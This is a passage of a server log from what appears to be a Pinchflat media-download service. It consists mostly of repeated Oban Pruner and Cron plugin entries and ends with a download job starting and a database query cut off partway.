13:11:46.464 [info] {"source":"oban","duration":1107,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:00.972 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:12:16.466 [info] {"source":"oban","duration":1604,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:12:46.468 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:00.973 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:13:16.470 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:13:46.472 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:00.974 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:14:16.474 [info] {"source":"oban","duration":1529,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:14:46.476 [info] {"source":"oban","duration":1483,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:00.975 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:15:16.478 [info] {"source":"oban","duration":1492,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:15:46.480 [info] {"source":"oban","duration":1493,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:00.976 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:16:16.482 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:16:46.484 [info] {"source":"oban","duration":1447,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:00.977 [info] {"source":"oban","duration":448,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:17:16.486 [info] {"source":"oban","duration":1400,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:17:46.488 [info] {"source":"oban","duration":1453,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:00.978 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:18:16.490 [info] {"source":"oban","duration":1235,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:18:46.492 [info] {"source":"oban","duration":1449,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:00.979 [info] {"source":"oban","duration":269,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:19:16.494 [info] {"source":"oban","duration":1342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:19:46.496 [info] {"source":"oban","duration":1026,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:00.980 [info] {"source":"oban","duration":526,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:20:16.498 [info] {"source":"oban","duration":1098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:20:46.500 [info] {"source":"oban","duration":1361,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:00.981 [info] {"source":"oban","duration":476,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:21:16.502 [info] {"source":"oban","duration":1460,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:21:46.504 [info] {"source":"oban","duration":1485,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:00.982 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:22:16.506 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:22:46.508 [info] {"source":"oban","duration":1497,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:00.983 [info] {"source":"oban","duration":444,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:23:16.510 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:23:46.512 [info] {"source":"oban","duration":1456,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:00.984 [info] {"source":"oban","duration":147,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:24:16.514 [info] {"source":"oban","duration":1378,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:24:46.516 [info] {"source":"oban","duration":1455,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:00.985 [info] {"source":"oban","duration":421,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:25:16.518 [info] {"source":"oban","duration":1198,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:25:46.520 [info] {"source":"oban","duration":1450,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:00.986 [info] {"source":"oban","duration":374,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:26:16.522 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:26:46.524 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:00.987 [info] {"source":"oban","duration":247,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:27:16.526 [info] {"source":"oban","duration":1001,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:27:46.528 [info] {"source":"oban","duration":942,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:00.988 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:28:16.530 [info] {"source":"oban","duration":938,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:28:46.532 [info] {"source":"oban","duration":1068,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:00.989 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:29:16.534 [info] {"source":"oban","duration":1548,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:29:46.536 [info] {"source":"oban","duration":1488,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:00.990 [info] {"source":"oban","duration":401,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:30:16.538 [info] {"source":"oban","duration":1487,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:30:46.540 [info] {"source":"oban","duration":1657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:00.991 [info] {"source":"oban","duration":470,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:31:16.542 [info] {"source":"oban","duration":1587,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:31:46.544 [info] {"source":"oban","duration":1574,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:00.992 [info] {"source":"oban","duration":274,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:32:16.546 [info] {"source":"oban","duration":1474,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:32:46.548 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:00.993 [info] {"source":"oban","duration":496,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:33:16.550 [info] {"source":"oban","duration":1501,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:33:46.552 [info] {"source":"oban","duration":1490,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:00.994 [info] {"source":"oban","duration":390,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:34:16.554 [info] {"source":"oban","duration":1190,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:34:46.555 [info] {"source":"oban","duration":918,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:00.995 [info] {"source":"oban","duration":400,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:35:16.558 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:35:46.560 [info] {"source":"oban","duration":1216,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:00.996 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:36:16.562 [info] {"source":"oban","duration":1334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:36:46.564 [info] {"source":"oban","duration":909,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:00.997 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:37:16.565 [info] {"source":"oban","duration":862,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:37:46.568 [info] {"source":"oban","duration":1459,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:00.998 [info] {"source":"oban","duration":398,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:38:16.570 [info] {"source":"oban","duration":1148,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:38:46.572 [info] {"source":"oban","duration":1155,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:00.999 [info] {"source":"oban","duration":363,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:39:16.574 [info] {"source":"oban","duration":1248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:39:46.576 [info] {"source":"oban","duration":1082,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:01.000 [info] {"source":"oban","duration":311,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:40:16.578 [info] {"source":"oban","duration":1202,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:40:46.580 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:00.001 [info] {"source":"oban","duration":415,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:41:16.582 [info] {"source":"oban","duration":1642,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:41:46.584 [info] {"source":"oban","duration":1272,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:00.002 [info] {"source":"oban","duration":330,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:42:16.586 [info] {"source":"oban","duration":1096,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:42:46.588 [info] {"source":"oban","duration":1014,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:00.003 [info] {"source":"oban","duration":439,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:43:16.590 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:43:46.592 [info] {"source":"oban","duration":1066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:00.004 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:44:16.594 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:44:46.596 [info] {"source":"oban","duration":1425,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:00.005 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:45:16.598 [info] {"source":"oban","duration":1031,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:45:46.600 [info] {"source":"oban","duration":1041,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:00.006 [info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:46:16.602 [info] {"source":"oban","duration":1325,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:46:46.604 [info] {"source":"oban","duration":1380,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:00.007 [info] {"source":"oban","duration":239,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:47:16.606 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:47:46.608 [info] {"source":"oban","duration":1280,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:00.008 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:48:16.610 [info] {"source":"oban","duration":1396,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:48:46.612 [info] {"source":"oban","duration":1298,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:00.009 [info] {"source":"oban","duration":395,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:49:16.614 [info] {"source":"oban","duration":1047,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:49:46.616 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:00.010 [info] {"source":"oban","duration":378,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:50:16.618 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:50:46.620 [info] {"source":"oban","duration":1098,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:00.011 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:51:16.622 [info] {"source":"oban","duration":1167,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:51:46.624 [info] {"source":"oban","duration":1064,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:00.012 [info] {"source":"oban","duration":558,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:52:16.626 [info] {"source":"oban","duration":1136,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:52:46.628 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:00.013 [info] {"source":"oban","duration":397,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:53:16.630 [info] {"source":"oban","duration":1137,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:53:46.632 [info] {"source":"oban","duration":1331,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:00.014 [info] {"source":"oban","duration":394,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:54:16.634 [info] {"source":"oban","duration":1273,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:54:46.636 [info] {"source":"oban","duration":1465,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:00.015 [info] {"source":"oban","duration":259,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:55:16.638 [info] {"source":"oban","duration":1319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:55:46.640 [info] {"source":"oban","duration":1179,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:00.016 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:56:16.642 [info] {"source":"oban","duration":1200,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:56:46.644 [info] {"source":"oban","duration":1204,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:00.017 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:57:16.646 [info] {"source":"oban","duration":1176,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:57:46.648 [info] {"source":"oban","duration":1175,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:00.018 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:58:16.650 [info] {"source":"oban","duration":1240,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:58:46.652 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:00.019 [info] {"source":"oban","duration":286,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 13:59:16.654 [info] {"source":"oban","duration":1004,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 13:59:46.656 [info] {"source":"oban","duration":1207,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:00.020 [info] {"source":"oban","duration":386,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:00:16.658 [info] {"source":"oban","duration":1229,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:00:46.660 [info] {"source":"oban","duration":1695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:00.021 [info] {"source":"oban","duration":284,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:01:16.663 [info] {"source":"oban","duration":1437,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:01:46.665 [info] {"source":"oban","duration":1078,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:00.022 [info] {"source":"oban","duration":358,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:02:16.667 [info] {"source":"oban","duration":1058,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:02:46.669 [info] {"source":"oban","duration":1114,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:00.023 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:03:16.671 [info] {"source":"oban","duration":1519,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:03:46.673 [info] {"source":"oban","duration":1443,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:00.024 [info] {"source":"oban","duration":418,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:04:16.675 [info] {"source":"oban","duration":1295,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:04:46.677 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:00.025 [info] {"source":"oban","duration":278,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:05:16.679 [info] {"source":"oban","duration":1678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:05:46.682 [info] {"source":"oban","duration":1395,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:00.026 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:06:16.684 [info] {"source":"oban","duration":1594,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:06:46.686 [info] {"source":"oban","duration":1189,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:00.027 [info] {"source":"oban","duration":388,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:07:16.688 [info] {"source":"oban","duration":1571,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:07:46.691 [info] {"source":"oban","duration":981,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:00.028 [info] {"source":"oban","duration":273,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:08:16.693 [info] {"source":"oban","duration":1419,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:08:46.695 [info] {"source":"oban","duration":1355,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:00.029 [info] {"source":"oban","duration":368,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:09:16.697 [info] {"source":"oban","duration":1557,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:09:46.699 [info] {"source":"oban","duration":1439,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:00.030 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:10:16.701 [info] {"source":"oban","duration":1011,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:10:46.703 [info] {"source":"oban","duration":949,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:00.031 [info] {"source":"oban","duration":275,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:11:16.704 [info] {"source":"oban","duration":952,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:11:46.707 [info] {"source":"oban","duration":1409,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:00.032 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:12:16.709 [info] {"source":"oban","duration":1440,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:12:46.711 [info] {"source":"oban","duration":1372,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:00.033 [info] {"source":"oban","duration":298,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:13:16.713 [info] {"source":"oban","duration":1556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:13:46.715 [info] {"source":"oban","duration":1514,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:00.034 [info] {"source":"oban","duration":242,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:14:16.717 [info] {"source":"oban","duration":1520,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:14:46.719 [info] {"source":"oban","duration":1461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:00.035 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:15:16.721 [info] {"source":"oban","duration":1452,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:15:46.723 [info] {"source":"oban","duration":1285,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:00.036 [info] {"source":"oban","duration":379,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:16:16.725 [info] {"source":"oban","duration":1387,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:16:46.727 [info] {"source":"oban","duration":1468,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:00.037 [info] {"source":"oban","duration":381,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:17:16.729 [info] {"source":"oban","duration":1094,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:17:46.731 [info] {"source":"oban","duration":963,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:00.038 [info] {"source":"oban","duration":294,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:18:16.733 [info] {"source":"oban","duration":1059,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:18:46.735 [info] {"source":"oban","duration":1356,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:00.039 [info] {"source":"oban","duration":323,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:19:16.737 [info] {"source":"oban","duration":935,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:19:46.739 [info] {"source":"oban","duration":931,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:00.040 [info] {"source":"oban","duration":303,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:20:16.741 [info] {"source":"oban","duration":1503,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:20:46.743 [info] {"source":"oban","duration":1390,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:00.041 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:21:16.745 [info] {"source":"oban","duration":1374,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:21:46.747 [info] {"source":"oban","duration":1491,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:00.042 [info] {"source":"oban","duration":434,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:22:16.749 [info] {"source":"oban","duration":1552,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:22:46.751 [info] {"source":"oban","duration":1233,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:00.043 [info] {"source":"oban","duration":373,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:23:16.753 [info] {"source":"oban","duration":988,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:23:46.755 [info] {"source":"oban","duration":1097,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:00.044 [info] {"source":"oban","duration":256,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:24:16.757 [info] {"source":"oban","duration":1203,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:24:46.759 [info] {"source":"oban","duration":974,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:00.045 [info] {"source":"oban","duration":336,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:25:16.761 [info] {"source":"oban","duration":1152,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:25:46.763 [info] {"source":"oban","duration":976,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:00.046 [info] {"source":"oban","duration":460,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:26:16.765 [info] {"source":"oban","duration":1066,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:26:46.767 [info] {"source":"oban","duration":1095,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:00.047 [info] {"source":"oban","duration":353,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:27:16.769 [info] {"source":"oban","duration":1007,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:27:46.771 [info] {"source":"oban","duration":1079,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:00.048 [info] {"source":"oban","duration":260,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:28:16.773 [info] {"source":"oban","duration":1070,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:28:46.775 [info] {"source":"oban","duration":1316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 14:29:00.049 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 14:29:12.875 [info] {"args":{"id":102574},"id":2589,"meta":{},"system_time":1765488552875702770,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":18,"tags":["media_item","media_fetching","show_in_dashboard"]} 14:29:12.877 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=705.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", 